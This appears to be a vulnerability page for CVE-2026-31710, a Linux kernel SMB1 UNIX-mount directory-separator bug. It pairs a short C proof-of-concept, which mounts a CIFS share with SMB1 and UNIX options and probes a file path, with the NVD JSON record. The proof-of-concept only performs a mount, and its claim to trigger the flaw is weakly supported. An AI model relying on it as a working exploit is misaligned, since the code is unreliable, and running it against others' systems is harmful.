CVE-2026-31710

/* * PoC for CVE-2026-31710 * This code attempts to trigger the SMB1 UNIX mount issue. * Compile: gcc -o poc_smb poc_smb.c */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <unistd.h> int main() { // Target SMB server share details const char* source = "//192.168.1.X/vulnerable_share"; const char* target = "/mnt/cve_2026_31710"; const char* fstype = "cifs"; // Mount options specifying SMB1 and UNIX extensions // The vulnerability is triggered by the kernel handling these flags const char* options = "username=user,password=pass,vers=1.0,unix"; printf("[+] Triggering CVE-2026-31710 by mounting SMB1 UNIX share...\n"); // Perform the mount operation int ret = mount(source, target, fstype, 0, options); if (ret == 0) { printf("[+] Mount successful. Path separator logic should now be affected.\n"); // Attempt to access a path to verify the issue FILE *fp = fopen("/mnt/cve_2026_31710/testdir/file", "r"); if (!fp) { printf("[!] File access failed (potential wrong dir separator impact).\n"); } else { fclose(fp); } // Cleanup umount(target); } else { perror("[-] Mount failed"); } return 0; }

{"cve": {"id": "CVE-2026-31710", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:21.040", "lastModified": "2026-05-06T20:21:16.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix dir separator in SMB1 UNIX mounts\n\nWhen calling cifs_mount_get_tcon() with SMB1 UNIX mounts,\n@cifs_sb->mnt_cifs_flags needs to be read or updated only after\ncalling reset_cifs_unix_caps(), otherwise it might end up with missing\nCIFS_MOUNT_POSIXACL and CIFS_MOUNT_POSIX_PATHS bits.\n\nThis fixes the wrong dir separator used in paths caused by the missing\nCIFS_MOUNT_POSIX_PATHS bit in cifs_sb_info::mnt_cifs_flags."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.1", "versionEndExcluding": "7.0.2", "matchCriteriaId": "892296EC-C52B-40F8-9C2B-E023C2B6B4C6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:-:*:*:*:*:*:*", "matchCriteriaId": "EF897730-3F1E-47A2-8B07-22535202C487"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/c4d3fc5844d685441befd0caaab648321013cdfd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fbbfcf35e1ee3396631f3dc6214cb626aa9814c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}